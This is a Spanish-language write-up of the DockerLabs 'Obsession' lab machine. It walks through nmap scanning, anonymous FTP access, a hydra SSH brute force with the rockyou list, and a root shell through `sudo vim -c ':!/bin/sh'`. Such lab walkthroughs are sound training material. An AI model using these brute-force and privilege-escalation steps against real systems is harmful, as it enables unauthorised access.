> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/obsession.md).

# Obsession

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Obsession** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido:

```bash
7z x obsession.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FTaRoOAmezPzX56S7pnek%2FPasted%20image%2020250630142339.png?alt=media&amp;token=f7b5c2ee-dca9-4b2d-8567-4d5fd4b31987" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Desplegamos la máquina en Docker ejecutando el script proporcionado:

```bash
bash auto_deploy.sh obsession.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FnY8bpfmaFwgpofbepCUw%2FPasted%20image%2020250630142608.png?alt=media&amp;token=2c77e272-4c60-4dcc-8ea8-7934c8c906e5" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Comprobamos la conectividad con la máquina objetivo usando `ping`:

```bash
ping -c 1 172.17.0.2
```

El valor `TTL=64` nos indica que el sistema operativo es **Linux**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F4AO3pQXJ1DvT2nvDrcu8%2FPasted%20image%2020250630142652.png?alt=media&amp;token=01b02186-eb31-4ae9-971e-425880ac08ce" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido para identificar puertos abiertos con `nmap`:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 21:** FTP.
* **Puerto 22:** SSH.
* **Puerto 80:** HTTP.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FV3R8iX0ajcVjOHVrVKGn%2FPasted%20image%2020250630142708.png?alt=media&amp;token=d41a6dc3-fa12-40f9-a0b8-1064b010f548" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Escaneo para obtener detalles de los servicios y versiones que se están ejecutando en cada uno de los puertos:

```bash
nmap -p21,22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 21:** Con acceso anónimo habilitado y versión vsftpd 3.0.5.
* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache httpd 2.4.58.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FdflHPmC2PnO1hZbcVz3u%2FPasted%20image%2020250630142743.png?alt=media&amp;token=7bc8995a-90a4-4292-b4f2-8f1a66e5c2e0" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Acceso al servicio FTP**

Accedemos al servicio FTP con el usuario `anonymous`:

```bash
ftp anonymous@172.17.0.2
```

Y descargamos los archivos encontrados:

```bash
get chat-gonza.txt
```

```bash
get pendientes.txt
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FaK7QweHGXfCv7Zl0Ksja%2FPasted%20image%2020250630143136.png?alt=media&amp;token=694e521b-af41-4d73-a4c1-bb83f68277ff" alt=""><figcaption></figcaption></figure>

**Contenido de los archivos:**

* `chat-gonza.txt`: Conversación que menciona a los usuarios `gonza`, `russoski` y `nagore`.
* `pendientes.txt`: Lista de tareas pendientes.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FTdk2jnaPAHuKw15SnECr%2FPasted%20image%2020250630143219.png?alt=media&amp;token=e982c9c6-724d-4356-8c73-27a29b235449" alt=""><figcaption></figcaption></figure>

#### **3.2. Análisis del servicio web**

Al acceder a `http://172.17.0.2`, encontramos un formulario con un botón que dice "Cambiar mi vida a mejor ahora".

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FtuGH8P9CBfYkz283jhcN%2FPasted%20image%2020250630143349.png?alt=media&amp;token=dbc5a879-bf24-4f14-968f-38b8cbb2cb96" alt=""><figcaption></figcaption></figure>

Al enviar el formulario, aparece un mensaje genérico.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fwha1vAvkoCmET820wrxo%2FPasted%20image%2020250630143426.png?alt=media&amp;token=36b76b44-8990-441e-8d83-3fb816a6282f" alt=""><figcaption></figcaption></figure>

**Inspección del código fuente:**

Encontramos un comentario revelador en el código fuente de la página web:

```html
<!-- Utilizando el mismo usuario para todos mis servicios, podré recordarlo fácilmente -->
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FyAblu0QSgsdrRJ0RKchb%2FPasted%20image%2020250630142851.png?alt=media&amp;token=5fe70c54-00c0-41a4-88c8-e2820cb870d8" alt=""><figcaption></figcaption></figure>

#### **3.3. Fuerza bruta contra SSH**

Utilizamos `hydra` para realizar un ataque de fuerza bruta contra el servicio SSH con los usuarios encontrados (`russoski`, `gonza`, `nagore`). Vamos a comenzar con el usuario `russoski`, ya que hemos visto este nombre de usuario en varias ocasiones:

```bash
hydra -L russoski -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

**Resultado:** La contraseña del usuario `russoski` es `iloveme`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FjKKxGkowXFBSEnFsHqhH%2FPasted%20image%2020250630144122.png?alt=media&amp;token=29036b63-36bb-442e-b25b-99bb6074f4ad" alt=""><figcaption></figcaption></figure>

#### **3.4. Acceso al sistema con el usuario russoski**

Accedemos al sistema vía SSH:

```bash
ssh russoski@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FbdmqRrapyhIBlOIm1tHE%2FPasted%20image%2020250630144146.png?alt=media&amp;token=dd88bf82-8408-43c6-8cb8-5090b0f9b72e" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Verificación de permisos**

Ejecutamos `sudo -l` para ver los privilegios del usuario `russoski`.

**Resultado:**

```bash
(root) NOPASSWD: /usr/bin/vim
```

El usuario `russoski` puede ejecutar `vim` como `root` sin proporcionar contraseña.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FIVgxizfojhoztWmdfHi8%2FPasted%20image%2020250630144206.png?alt=media&amp;token=d006ada0-b8b3-4586-9dfa-929a918d0cd1" alt=""><figcaption></figcaption></figure>

#### **4.2. Explotación de vim**

Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/vim/) y ejecutamos el siguiente comando para obtener una shell como `root`:

```bash
sudo vim -c ':!/bin/sh'
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FqdEQ9BTRh5lATrMNg6qc%2FPasted%20image%2020250630144315.png?alt=media&amp;token=e99a9d53-3b53-402a-9cd5-fc1639a90d83" alt=""><figcaption></figcaption></figure>

Con esto, damos por completada la máquina Obsession.
